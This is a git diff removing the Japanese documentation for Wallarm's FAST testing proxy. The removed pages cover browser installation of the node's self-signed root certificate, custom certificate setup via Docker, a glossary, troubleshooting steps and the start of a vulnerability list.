--git a/docs/latest-ja/fast/ssl/browsers-ssl/chrome-ssl.md b/docs/latest-ja/fast/ssl/browsers-ssl/chrome-ssl.md deleted file mode 100644 index c0cc700b8c..0000000000 --- a/docs/latest-ja/fast/ssl/browsers-ssl/chrome-ssl.md +++ /dev/null @@ -1,84 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-certificate-request.png -[img-adv-settings]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-advanced-settings.png -[img-cert-mgmt]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-manage-certificates.png -[img-cert-window]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-certificates-window.png -[img-cert-wizard]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-certificates-wizard.png -[img-cert-import]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-file-import.png -[img-cert-select]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-file-selection.png -[img-store]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-store-selection.png -[img-wizard-resume]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-wizard-resume.png -[img-fingerprint-warning]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-fingerprint-warning.png -[img-import-ok]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-import-success.png -[img-installed-cert]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-installed-certificate.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-https-ok.png - - - - -# Google Chrome向けFAST Node自己署名SSL証明書のインストール - -Google Chromeブラウザに証明書をインストールするには、次の手順を実行します。 - -1. ブラウザがFAST nodeをHTTPおよびHTTPSプロキシとして使用するように設定されていることを確認します。 - -2. ブラウザを使用してHTTP経由で任意のドメインからファイル`cert.der`をリクエストします。 - - 例えば、次のリンクのいずれかを使用できます: - - * - * - - ブラウザは証明書ファイルをダウンロードします。設定に応じて、ファイルは既定のダウンロードディレクトリ、または選択したディレクトリに保存されます。 - - ![自己署名のFAST node証明書のリクエスト][img-cert-request] - -3. ブラウザのプライバシーとセキュリティの設定一覧を開きます。これを行うには、に移動するか、ブラウザの設定を開き、設定リストの末尾にある**Advanced**ボタンを選択して追加設定を展開します。 - - ![Chromeの“Advanced”設定][img-adv-settings] - - “Manage certificates”オプションを選択します。 - - ![Chromeの“Manage certificates”設定][img-cert-mgmt] - -4. “Certificates”ウィンドウが開き、Chromeの証明書に関する情報が表示されます。“Trusted Root Certification Authorities”タブに切り替えて、**Import**ボタンを選択します。 - - ![“Certificates”ウィンドウ][img-cert-window] - - Certificate Import Wizardが開きます。**Next**ボタンを選択します。 - - ![Certificate Import Wizard][img-cert-wizard] - -5. **Browse**ボタンを選択し、先ほどダウンロードした証明書ファイルを選択します。 - - ![証明書ファイルのインポート][img-cert-import] - - 必要に応じてファイルの種類で“All files”を選択します。**Next**ボタンを選択します。 - - ![証明書ファイルの選択][img-cert-select] - -6. 証明書ストアの選択を求められます。“Place all certificates in the following store”オプションを選択し、ストアとして“Trusted Root Certification Authorities”を設定します。**Next**ボタンを選択します。 - - ![証明書ストアの選択][img-store] - - 証明書に適切なストアを選択したことを確認し、**Finish**ボタンを選択してインポートを開始します。 - - ![Certificate Import Wizardの確認][img-wizard-resume] - -7. インポートする証明書のフィンガープリントを検証できない旨の警告メッセージが表示されます。インポートを完了するために**Yes**ボタンを選択します。 - - ![フィンガープリント検証の警告][img-fingerprint-warning] - - インポートが成功すると、"The import was successful"という情報メッセージが表示されます。 - - ![証明書のインポート成功][img-import-ok] - - その後、“Certificates”ウィンドウの“Trusted Root Certification Authorities”タブに、インポートした証明書が表示されます。なお、証明書の名前と有効期限は画像と異なります。 - - ![インストール済みの証明書][img-installed-cert] - -8. 証明書が正しくインストールされたことを確認します。HTTPS経由で任意のサイトにアクセスします。信頼されていない証明書に関する警告メッセージなしで、そのサイトのHTTPS版にリダイレクトされるはずです。 - - 例えば、Google GruyereサイトのHTTPS版にアクセスできます: - - - ![HTTPSが正常に動作][img-https-ok] \ No newline at end of file diff --git a/docs/latest-ja/fast/ssl/browsers-ssl/edge-ssl.md b/docs/latest-ja/fast/ssl/browsers-ssl/edge-ssl.md deleted file mode 100644 index fddaa3466d..0000000000 --- a/docs/latest-ja/fast/ssl/browsers-ssl/edge-ssl.md +++ /dev/null @@ -1,56 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-certificate-request.png -[img-cert-window]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-certificate-window.png -[img-store-location]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-store-location.png -[img-store]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-store-selection.png -[img-wizard-resume]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-wizard-resume.png -[img-fingerprint-warning]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-fingerprint-warning.png -[img-import-ok]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-import-success.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-https-ok.png - - -# Microsoft Edge向けFAST nodeの自己署名SSL証明書のインストール - -Microsoft Edgeブラウザに証明書をインストールするには、次の手順を実行します: - -1. ブラウザがHTTPおよびHTTPSプロキシとしてFAST nodeを使用するように設定されていることを確認します。 - -2. ブラウザを使用してHTTP経由で任意のドメインから`cert.der`ファイルをリクエストします。 - - 例えば、次のリンクのいずれかを使用できます: - - * - * - - ブラウザに証明書ファイルを開くか保存するかの選択肢が表示されます。**Open**を選択します。 - - ![自己署名のFAST node証明書のリクエスト][img-cert-request] - -3. 証明書に関する情報が表示されたウィンドウが開きます。証明書の名前と有効期限は画像のものとは異なります。**Install Certificate**を選択します。 - - ![「Certificate」ウィンドウ][img-cert-window] - -4. 開いたウィンドウで、適切な証明書のインストール対象を選択します。証明書は現在のユーザーのみにインストールすることも、すべてのユーザーにインストールすることもできます。該当するオプションを選択し、**Next**を選択します。 - - ![証明書ストアの場所を選択][img-store-location] - -5. 証明書ストアの選択を求められます。オプション「Place all certificates in the following store」を選択し、ストアとして「Trusted Root Certification Authorities」を指定します。**Next**を選択します。 - ![証明書ストアを選択][img-store] - - 証明書に適切なストアが選択されていることを確認し、**Finish**を選択してインポート処理を開始します。 - - ![証明書インポートウィザードの概要][img-wizard-resume] - -6. インポートする証明書のフィンガープリントを検証できない旨の警告メッセージが表示されます。インポートを完了するために**Yes**を選択します。 - - ![フィンガープリント検証の警告][img-fingerprint-warning] - - インポートが成功した場合、「The import was successful」という情報メッセージが表示されます。 - - ![証明書のインポートに成功][img-import-ok] - -7. 証明書が正しくインストールされたことを確認します。そのために、HTTPSで任意のサイトにアクセスします。信頼されていない証明書に関する警告メッセージが表示されることなく、サイトのHTTPS版にリダイレクトされるはずです。 - - 例えば、Google GruyereサイトのHTTPS版にアクセスします: - - - ![HTTPSが動作しています][img-https-ok] \ No newline at end of file diff --git a/docs/latest-ja/fast/ssl/browsers-ssl/firefox-ssl.md b/docs/latest-ja/fast/ssl/browsers-ssl/firefox-ssl.md deleted file mode 100644 index 383c073654..0000000000 --- a/docs/latest-ja/fast/ssl/browsers-ssl/firefox-ssl.md +++ /dev/null @@ -1,34 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/firefox-ssl/f-certificate-request.png -[img-cert-download]: ../../../images/fast/ssl/common/browsers-ssl/firefox-ssl/f-certificate-download.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/firefox-ssl/f-https-ok.png - - -# Mozilla Firefox向けFASTノード自己署名SSL証明書のインストール - -Mozilla Firefoxブラウザに証明書をインストールするには、次の手順を実行してください: - -1. ブラウザがFASTノードをHTTPおよびHTTPSプロキシとして使用するよう設定してあることを確認してください。 - -2. ブラウザを使用して、HTTP経由で任意のドメインから`cert.der`ファイルをリクエストしてください。 - - 例えば、次のいずれかのリンクを使用できます: - - * - * - - ブラウザが証明書ファイルをダウンロードします。設定に応じて、ファイルは既定のダウンロードディレクトリか、指定したディレクトリに保存されます。 - - ![自己署名のFASTノード証明書をリクエスト中][img-cert-request] - -3. ダイアログウィンドウが開き、証明書をインストールするよう求められます。なお、お使いの証明書の名称と有効期限は画像の例とは異なります。 - - “Trust this CA to identify websites”オプションを選択し、**OK**ボタンを選択します。 - - ![証明書をダウンロード中][img-cert-download] - -4. 証明書が正しくインストールされたことを確認してください。そのために、HTTPSで任意のサイトにアクセスしてください。信頼されていない証明書に関する警告メッセージが表示されることなく、サイトのHTTPS版にリダイレクトされるはずです。 - - 例えば、Google GruyereサイトのHTTPS版にアクセスします: - - - ![HTTPSが動作しています][img-https-ok] \ No newline at end of file diff --git a/docs/latest-ja/fast/ssl/browsers-ssl/ie11-ssl.md b/docs/latest-ja/fast/ssl/browsers-ssl/ie11-ssl.md deleted file mode 100644 index 52daab83a6..0000000000 --- a/docs/latest-ja/fast/ssl/browsers-ssl/ie11-ssl.md +++ /dev/null @@ -1,57 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-certificate-request.png -[img-cert-window]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-certificate-window.png -[img-store-location]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-store-location.png -[img-store]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-store-selection.png -[img-wizard-resume]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-wizard-resume.png -[img-fingerprint-warning]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-fingerprint-warning.png -[img-import-ok]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-import-success.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-https-ok.png - - -# Microsoft Internet Explorer 11向けFAST Node自己署名SSL証明書のインストール - -Internet Explorer 11ブラウザに証明書をインストールするには、次の手順を実行します。 - -1. ブラウザでHTTPおよびHTTPSプロキシとしてFAST nodeを使用するように設定していることを確認します。 - -2. ブラウザを使用して、HTTPで任意のドメインから`cert.der`ファイルを要求します。 - - 例えば、次のいずれかのリンクを使用できます: - - * - * - - ブラウザは証明書ファイルを開くか保存するかの選択肢を表示します。**Open**ボタンを選択します。 - - ![自己署名のFAST node証明書の要求][img-cert-request] - -3. 証明書に関する情報を含むウィンドウが開きます。証明書の名前と有効期限は、画像に表示されているものとは異なります。**Install Certificate**ボタンを選択します。 - - ![「Certificate」ウィンドウ][img-cert-window] - -4. 開いたウィンドウで、適切な証明書インストールのオプションを選択します。証明書は現在のユーザーのみ、またはすべてのユーザー向けにインストールできます。該当するオプションを選択し、**Next**ボタンを選択します。 - - ![証明書ストアの保存先を選択][img-store-location] - -5. 証明書ストアの選択を求められます。「Place all certificates in the following store」を選択し、ストアには「Trusted Root Certification Authorities」を指定します。**Next**ボタンを選択します。 - - ![証明書ストアを選択][img-store] - - 証明書に適切なストアが選択されていることを確認し、**Finish**ボタンを選択してインポートを開始します。 - - ![証明書インポートウィザードの要約][img-wizard-resume] - -6. インポート対象の証明書のフィンガープリントを検証できない旨の警告メッセージが表示されます。インポートを完了するため、**Yes**ボタンを選択します。 - - ![フィンガープリント検証の警告][img-fingerprint-warning] - - インポートが成功すると、「The import was successful」という情報メッセージが表示されます。 - - ![証明書のインポート成功][img-import-ok] - -7. 証明書が正しくインストールされたことを確認します。そのために、HTTPSで任意のサイトにアクセスします。信頼されていない証明書に関する警告メッセージなしに、そのサイトのHTTPS版へリダイレクトされるはずです。 - - 例えば、Google GruyereサイトのHTTPS版にアクセスできます: - - - ![HTTPSが機能しています][img-https-ok] \ No newline at end of file diff --git a/docs/latest-ja/fast/ssl/browsers-ssl/safari-ssl.md b/docs/latest-ja/fast/ssl/browsers-ssl/safari-ssl.md deleted file mode 100644 index f8ef90252b..0000000000 --- a/docs/latest-ja/fast/ssl/browsers-ssl/safari-ssl.md +++ /dev/null @@ -1,58 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-certificate-request.png -[img-downloaded-cert]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-downloaded-certificate.png -[img-keychain-import]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-prompt.png -[img-untrusted-cert]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-untrusted-certificate.png -[img-cert-properties]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-certificate-properties.png -[img-credentials-prompt]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-credentials-prompt.png -[img-trusted-cert]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-trusted-certificate.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-https-ok.png - -# Apple Safari向けFASTノード自己署名SSL証明書のインストール - -Apple Safariブラウザーに証明書をインストールするには、次の手順に従います。 - -1. ブラウザーがFASTノードをHTTPおよびHTTPSプロキシとして使用するように設定されていることを確認します。 - -2. ブラウザーを使用してHTTP経由で任意のドメインから`cert.der`ファイルをリクエストします。 - - 例として、次のいずれかのリンクを使用できます。 - - * - * - - ブラウザーは証明書ファイルをダウンロードします。設定に応じて、ファイルは既定のダウンロードディレクトリまたは選択したディレクトリに保存されます。 - - ![自己署名FASTノード証明書の要求][img-cert-request] - - ダウンロードしたファイルを開きます。 - - ![ダウンロードした証明書][img-downloaded-cert] - -3. Keychain Accessアプリケーションが証明書のインポートを促します。 - - 証明書は現在のユーザーのみ、またはすべてのユーザー向けにインストールできます。適切なオプションを選択し、Addボタンを選択します。 - - ![Keychain Access「Add Certificates」ウィンドウ][img-keychain-import] - -4. インポートされた証明書は未信頼として表示されます。証明書の名前と有効期限は画像のものとは異なることに注意してください。 - - ![Keychain Accessアプリケーションの未信頼証明書][img-untrusted-cert] - -5. 証明書を信頼済みにするには、証明書をダブルクリックしてプロパティウィンドウを開きます。「Trust」リストを展開し、SSLに対してAlways Trustを選択します。 - - ![証明書のプロパティウィンドウ][img-cert-properties] - - 続行するにはパスワードの入力を求められます。 - - ![認証情報の入力プロンプト][img-credentials-prompt] - - これでインポートされた証明書は信頼済みとして表示されるはずです。 - - ![Keychain Accessアプリケーションの信頼済み証明書][img-trusted-cert] - -6. 証明書が正しくインストールされたことを確認します。そのために、HTTPSで任意のサイトにアクセスします。未信頼な証明書に関する警告メッセージなしに、そのサイトのHTTPS版へリダイレクトされるはずです。 - - 例として、Google GruyereサイトのHTTPS版にアクセスできます: - - - ![HTTPSが機能しています][img-https-ok] \ No newline at end of file diff --git a/docs/latest-ja/fast/ssl/install-certificate-on-fast-node.md b/docs/latest-ja/fast/ssl/install-certificate-on-fast-node.md deleted file mode 100644 index a79d5e530c..0000000000 --- a/docs/latest-ja/fast/ssl/install-certificate-on-fast-node.md +++ /dev/null @@ -1,83 +0,0 @@ -[link-openssl]: https://www.openssl.org/docs/man1.0.2/man1/x509.html -[link-pem-encoding]: https://www.ssl.com/guide/pem-der-crt-and-cer-x-509-encodings-and-conversions/ - - -# FAST nodeへの独自SSL証明書のインストール - -!!! info "前提条件" - このガイドでは、次のことを前提としています: - - * ブラウザがHTTPまたはHTTPSプロキシとしてFAST nodeを使用するように設定されています。 - * FAST node用にインストールするSSL証明書をブラウザが既に信頼しています。 - -!!! warning "証明書の要件" - このインストールを正常に完了するには、SSL証明書がルート証明書または中間証明書である必要があります。 - - 証明書および対応する秘密鍵は[PEMでエンコードされている][link-pem-encoding]必要があります。証明書のエンコードが異なる場合は、[OpenSSL][link-openssl]など利用可能な証明書変換ツールを使用して、PEMでエンコードされた証明書に変換できます。 - -## SSL証明書のインストール - -FAST nodeにSSL証明書をインストールするには、次の手順に従います: -1. PEM形式のSSL証明書と、その証明書に署名した秘密鍵を既に用意していることを確認します。 - -2. 証明書ファイルと鍵ファイルをDockerホスト上の同じディレクトリに配置します。次の手順で、このディレクトリをFAST nodeを含むDockerコンテナにマウントする必要があります。 - -3. 以下の環境変数を使用して、証明書と鍵が存在する場所をFAST nodeに指定します: - - ``` - CA_CERT= - CA_KEY= - ``` - - 上記の行では、``および``の値を、ディレクトリをDockerコンテナにマウントした後の証明書と鍵の想定パスに置き換えます。 - -4. 以下のコマンドを実行して、FAST nodeを含むDockerコンテナをデプロイします: - - ``` - docker run --name \ - -e WALLARM_API_TOKEN= \ - -e ALLOWED_HOSTS= \ - -e CA_CERT= \ - -e CA_KEY= \ - -v : \ - -p :8080 \ - wallarm/fast - ``` - - このコマンドは次のパラメータを定義します: - - * コンテナ名。 - * 対象アプリケーションのトークンとホストリスト（`WALLARM_API_TOKEN`および`ALLOWED_HOSTS`環境変数を使用します。後者は必須ではありません）。 - * コンテナ内のSSL証明書ファイルの場所（`CA_CERT`変数を使用）。 - * コンテナ内の秘密鍵ファイルの場所（`CA_KEY`変数を使用）。 - * アプリケーションの公開ポート。 - - コンテナにDockerホストのディレクトリ``をマウントするには、`docker run`コマンドの`-v`オプションを使用します。このディレクトリの内容は、コンテナ内では``のパスで利用可能になります。 - - !!! warning "注意" - 環境変数`CA_CERT`および`CA_KEY`で指定する証明書と鍵ファイルのパスは、`docker run`コマンドの`-v`オプションで指定した``パラメータ内のファイルを指している必要があります。 - -これでSSL証明書が正常にインストールされました。FAST nodeインスタンスは、信頼されていない証明書に関するメッセージを表示することなくHTTPSリクエストをプロキシします。 - - -## SSL証明書のインストール例。 - -次の条件を想定します: -* SSL証明書および対応する秘密鍵である`cert.pem`と`cert.key`ファイルが、FAST nodeを起動するDockerホストの`/home/user/certs`ディレクトリにあること、 -* FAST nodeを含むコンテナ内では、`/home/user/certs`ディレクトリの内容が`/tmp/certs`パスで利用可能になること、 -* 使用するトークンは`fast_token`であること、 -* ホストリストには`example.com`のみが含まれること、そして -* FAST nodeは`fast-node`という名前のコンテナで実行され、内部ポート`8080`が`localhost:8080`として公開されること、 - -この場合、SSL証明書をFAST nodeに接続するには次のコマンドを実行します: - -``` -docker run --name fast-node \ --e WALLARM_API_TOKEN="fast_token" \ --e ALLOWED_HOSTS="example.com" \ --e CA_CERT="/tmp/certs/cert.pem" \ --e CA_KEY="/tmp/certs/cert.key" \ --v /home/user/certs:/tmp/certs \ --p 8080:8080 \ -wallarm/fast -``` \ No newline at end of file diff --git a/docs/latest-ja/fast/ssl/intro.md b/docs/latest-ja/fast/ssl/intro.md deleted file mode 100644 index bc10b4bf71..0000000000 --- a/docs/latest-ja/fast/ssl/intro.md +++ /dev/null @@ -1,28 +0,0 @@ -[link-node-installation]: install-certificate-on-fast-node.md -[link-safari-ssl]: browsers-ssl/safari-ssl.md -[link-chrome-ssl]: browsers-ssl/chrome-ssl.md -[link-edge-ssl]: browsers-ssl/edge-ssl.md -[link-ie11-ssl]: browsers-ssl/ie11-ssl.md -[link-firefox-ssl]: browsers-ssl/firefox-ssl.md - -[img-insecure-connection]: ../../images/fast/qsg/common/deployment/11-qsg-fast-inst-untrusted-cert.png - - -# はじめに - -ブラウザでHTTPSを使用してWebアプリケーションを利用していると、信頼されていない証明書に関する次のようなメッセージが表示されることがあります： - -![Mozilla Firefoxの「信頼されていない証明書」メッセージ][img-insecure-connection] - -FAST nodeはクライアントからのHTTPSリクエストを中継し、リモートサーバーへの接続を自ら開始します。ブラウザはFAST nodeの証明書を信頼する必要があります。そうでない場合、ブラウザはこの状況を中間者攻撃として扱います。 - -使用しているブラウザが信頼する証明書をFAST nodeが保持していない場合、そのブラウザからサーバーへHTTPSリクエストを送信しようとすると、保護されていない接続の警告が表示されます。 - -HTTPS経由でWebアプリケーションを正常に利用するには、次のいずれかの方法を使用できます。 -* ブラウザがすでに信頼している独自のSSL証明書をお持ちの場合は、[FAST nodeに追加できます][link-node-installation]。 -* 独自のSSL証明書がない場合は、FAST nodeの自己署名ルート証明書をブラウザに追加できます。これを行うには、次のブラウザ向け手順に従ってください： - * [Apple Safari][link-safari-ssl] - * [Google Chrome][link-chrome-ssl] - * [Microsoft Edge][link-edge-ssl] - * [Microsoft Internet Explorer 11][link-ie11-ssl] - * [Mozilla Firefox][link-firefox-ssl] \ No newline at end of file diff --git a/docs/latest-ja/fast/terms-glossary.md b/docs/latest-ja/fast/terms-glossary.md deleted file mode 100644 index bbe32bc631..0000000000 --- a/docs/latest-ja/fast/terms-glossary.md +++ /dev/null @@ -1,109 +0,0 @@ -[doc-points]: dsl/points/intro.md -[doc-internals]: operations/internals.md -[doc-policies]: operations/test-policy/overview.md -[doc-vuln-list]: vuln-list.md - -[vuln-anomaly]: vuln-list.md#anomaly - -# 用語集 - -## 脆弱性 - -脆弱性とは、Webアプリケーションの構築または実装において、不注意または不十分な情報に起因して生じる誤りであり、情報セキュリティ上のリスクにつながり得るものです。 - -情報セキュリティ上のリスクには次のものがあります： -* 不正なデータアクセス（例：ユーザーデータの読み取りや変更） -* サービス拒否 -* データ破損など - -脆弱性はインターネットの特性ではありません。脆弱性はお使いのシステムの特性です。脆弱性が存在するかどうかはインターネットトラフィックに依存しません。ただし、インターネットトラフィックは脆弱性の検出に利用できます。これはWallarmが他の機能とあわせて行うことの一つです。 - -## アノマリー - -脆弱性の[種類][vuln-anomaly]です。 - -## 対象アプリケーション - -対象アプリケーションとは、FASTを使用して脆弱性についてテストすべきWebアプリケーションまたはAPIのことです。 - -**関連項目：** [FASTコンポーネント間の関係][doc-internals]。 - -## リクエストソース - -リクエストソースとは、HTTPおよびHTTPSリクエストを使用して対象アプリケーションをテストするツールです。FASTは、これらのリクエストに基づいてセキュリティテストセットを作成できます（「ベースラインリクエスト」を参照）。 - -## セキュリティテストセット - -セキュリティテストセットは、対象アプリケーションの脆弱性を明らかにするためのものです。 -各セキュリティテストは1つ以上のテストリクエストで構成されます。 - -## テストリクエスト - -テストリクエストは、対象アプリケーションに送信されるHTTPおよびHTTPSリクエストです。構成されたリクエストは、脆弱性を誘発する可能性が高いものです。 - -このようなリクエストは、テストポリシーを満たすベースラインリクエストに基づいてFASTによって作成されます。 - -## FASTノード - -FASTノードはFASTコンポーネントの1つです。 - -ノードはHTTPおよびHTTPSリクエストをプロキシし、ベースラインリクエストに基づいてセキュリティテストを作成します。 - -さらに、FASTノードはセキュリティテストを実行します。つまり、ノードはテストリクエストを対象アプリケーションに送信してアプリケーションの応答を確認し、アプリケーションにセキュリティ上の脆弱性がないかを判定します。 - -## Wallarm Cloud - -Wallarm CloudはFASTコンポーネントの1つです。 -クラウドは、テストポリシーの作成、テスト実行プロセスの管理、およびテスト結果の確認のためのインターフェイスをユーザーに提供します。 - -**関連項目：** -* [FASTコンポーネント間の関係][doc-internals], -* [テストポリシーの操作][doc-policies]。 - -## ベースラインリクエスト - -ベースラインリクエストは、リクエストソースから対象アプリケーションに向けて送信されるHTTPおよびHTTPSリクエストです。 -FASTはこれらのリクエストに基づいてセキュリティテストを作成します。 - -FASTノードを経由してプロキシされるものであっても、ベースライン以外のリクエストは、テストセット作成プロセスのソースとしては使用されません。 - -## テストラン - -テストランは、FASTを使用した脆弱性テストプロセスの単一の反復を表します。 - -テストランはテストポリシーをFASTノードに渡します。ポリシーは、どのベースラインリクエストをセキュリティテストの基礎として使用するかを定義します。 - -各テストランは、トークンによって単一のFASTノードと密に結び付けられます。 - -## テストポリシー - -テストポリシーとは、脆弱性検出プロセスをどのように実施するかを定めた規則の集合です。特に、アプリケーションをどの種類の脆弱性についてテストするかを選択できます。加えて、ポリシーは、セキュリティテストセットの作成時にベースラインリクエスト内のどのパラメータを変更対象とするかも決定します。これらのデータは、FASTノードがテストリクエストを作成し、対象アプリケーションが悪用可能かどうかを調べるために使用されます。 - -**関連項目：** -* [FASTコンポーネント間の関係][doc-internals], -* [テストポリシーの操作][doc-policies]。 - -## ベースラインリクエスト要素 - -リクエスト要素とは、ベースラインリクエストの一部です。 -要素の例： -* HTTPヘッダー、 -* HTTPレスポンスボディ、 -* GETパラメータ、 -* POSTパラメータ。 - -## ポイント - -ポイントとは、ベースラインリクエストの要素を指し示す文字列です。この文字列は、必要なデータを得るためにベースラインリクエストに適用すべきパーサーとフィルターの名称の並びで構成されます。 - -ポイントの詳細については[こちら][doc-points]をご覧ください。 - -## トークン - -トークンとは、以下の目的に使用される一意の秘密識別子です： -* テストランとFASTノードの関連付け -* テストランの作成と管理 - -トークンは、FASTノードの重要なプロパティの1つです。 - -**関連項目：** [FASTコンポーネント間の関係][doc-internals]。 \ No newline at end of file diff --git a/docs/latest-ja/fast/tshoot.md b/docs/latest-ja/fast/tshoot.md deleted file mode 100644 index 7a3a2d9676..0000000000 --- a/docs/latest-ja/fast/tshoot.md +++ /dev/null @@ -1,65 +0,0 @@ -[doc-allowed-host]: operations/env-variables.md#limiting-the-number-of-requests-to-be-recorded -[doc-ssl]: ssl/intro.md -[link-token]: operations/internals.md#token - -# トラブルシューティング - -## よくある問題と解決方法 - -**次のような場合はどうしますか...** - -* **...FASTノードのコンソール出力に次のいずれかのメッセージが表示される場合はどうすればよいですか?** - ---8<-- "../include/fast/console-include/tshoot/request-timeout.md" - - または - ---8<-- "../include/fast/console-include/tshoot/access-denied.md" - - **解決策:** 次を確認してください - - * FASTノードおよび対応するDockerホストにインターネット接続があること（特に、Wallarmの`api.wallarm.com`および`us1.api.wallarm.com`のAPIサーバーに`TCP/443`でアクセス可能であること）、および - * 正しい[トークン][link-token]を使用し、適切なWallarm APIサーバーと通信していること。なお、FASTは、APIサーバーが欧州クラウドか米国クラウドかに応じて異なるトークンを使用します。 - -* **...リクエストソースがFASTノードの自己署名SSL証明書を信頼しない場合はどうすればよいですか?** - - **解決策:** [こちらの手順][doc-ssl]に記載された任意の方法で信頼できるSSL証明書を設定してください。 - -* **...FASTノードが起動しているのにベースラインリクエストが記録されない場合はどうすればよいですか?** - - **解決策:** 次を確認してください: - - * リクエストソースがFASTノードをプロキシサーバーとして使用するように設定されており、接続先ノードのポート、ドメイン名、またはIPアドレスが正しく指定されていること。 - * リクエストソースが使用するすべてのプロトコルについて、FASTノードをプロキシサーバーとして使用していること（よくある例として、FASTノードをHTTPプロキシとして使用している一方で、リクエストソースがHTTPSリクエストを送信しようとしているケースがあります）。 - * [`ALLOWED_HOST`][doc-allowed-host]環境変数が正しく設定されていること。 - -* **...FASTノードでFASTテストやカスタム拡張が実行されていない場合はどうすればよいですか?** - - **解決策:** FASTノードがベースラインリクエストを記録しており、これらのベースラインリクエストが当該ノードで使用中のテストポリシーに準拠していることを確認してください。 - -## サポートチームへの連絡 - -上記の一覧に該当する問題が見つからない場合、または提示の解決策が役に立たないとお考えの場合は、Wallarmサポートチームにご連絡ください。 - -[メールを送信](mailto:support@wallarm.com)するか、Wallarmポータルでフォームに入力できます。ポータルからフィードバックを送信するには、次の操作を行ってください: - -* ポータルの右上にあるクエスチョンマークをクリックします。 -* 開いたサイドバーで「Wallarm Support」を選択します。 -* メールを作成して送信します。 - -## 診断データの収集 - -Wallarmサポートチームの担当者から、FASTノードに関する診断データの収集を依頼される場合があります。 - -いくつかの環境変数を設定し、次のコマンドを実行してデータを収集してください（診断データを取得したいFASTノードコンテナの実際の名前で、``を置き換えてください）: - -``` -FAST_IMAGE_VERSION=`docker image inspect wallarm/fast | grep version | tail -n1 | awk '{print $2}' | sed 's/"//g'` -TIMESTAMP=`/bin/date +%d.%m.%y_%H-%M-%S` - -docker exec -e IMAGE_VERSION=$FAST_IMAGE_VERSION /usr/local/bin/collect_info_fast.sh - -docker cp :/opt/diag/fast_supout.tar.gz fast_supout-$TIMESTAMP.tar.gz -``` - -これらのコマンドが正常に実行されると、診断データはDockerホスト上の`fast_supout-$TIMESTAMP.tar.gz`アーカイブに保存されます。アーカイブ名の`$TIMESTAMP`は収集時刻を表します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/vuln-list.md b/docs/latest-ja/fast/vuln-list.md deleted file mode 100644 index e3a2d833b2..0000000000 --- a/docs/latest-ja/fast/vuln-list.md +++ /dev/null @@ -1,335 +0,0 @@ ---- -description: このドキュメントでは、FASTが検出するソフトウェアの脆弱性を一覧します。各項目にはその脆弱性に対応するWallarmコードが付与されています。ほとんどの脆弱性にはCWEコードも付記しています。 ---- - -[cwe-22]: https://cwe.mitre.org/data/definitions/22.html -[cwe-78]: https://cwe.mitre.org/data/definitions/78.html -[cwe-79]: https://cwe.mitre.org/data/definitions/79.html -[cwe-89]: https://cwe.mitre.org/data/definitions/89.html -[cwe-90]: https://cwe.mitre.org/data/definitions/90.html -[cwe-94]: https://cwe.mitre.org/data/definitions/94.html -[cwe-159]: https://cwe.mitre.org/data/definitions/159.html -[cwe-200]: https://cwe.mitre.org/data/definitions/200.html -[cwe-209]: https://cwe.mitre.org/data/definitions/209.html -[cwe-215]: https://cwe.mitre.org/data/definitions/215.html -[cwe-288]: https://cwe.mitre.org/data/definitions/288.html -[cwe-352]: https://cwe.mitre.org/data/definitions/352.html -[cwe-538]: https://cwe.mitre.org/data/definitions/538.html -[cwe-541]: https://cwe.mitre.org/data/definitions/541.html -[cwe-548]: https://cwe.mitre.org/data/definitions/548.html -[cwe-601]: https://cwe.mitre.org/data/definitions/601.html -[cwe-611]: https://cwe.mitre.org/data/definitions/611.html -[cwe-639]: https://cwe.mitre.org/data/definitions/639.html -[cwe-918]: https://cwe.mitre.org/data/definitions/918.html -[cwe-943]: https://cwe.mitre.org/data/definitions/943.html - -[link-cwe]: https://cwe.mitre.org/ - -[link-owasp-csrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html 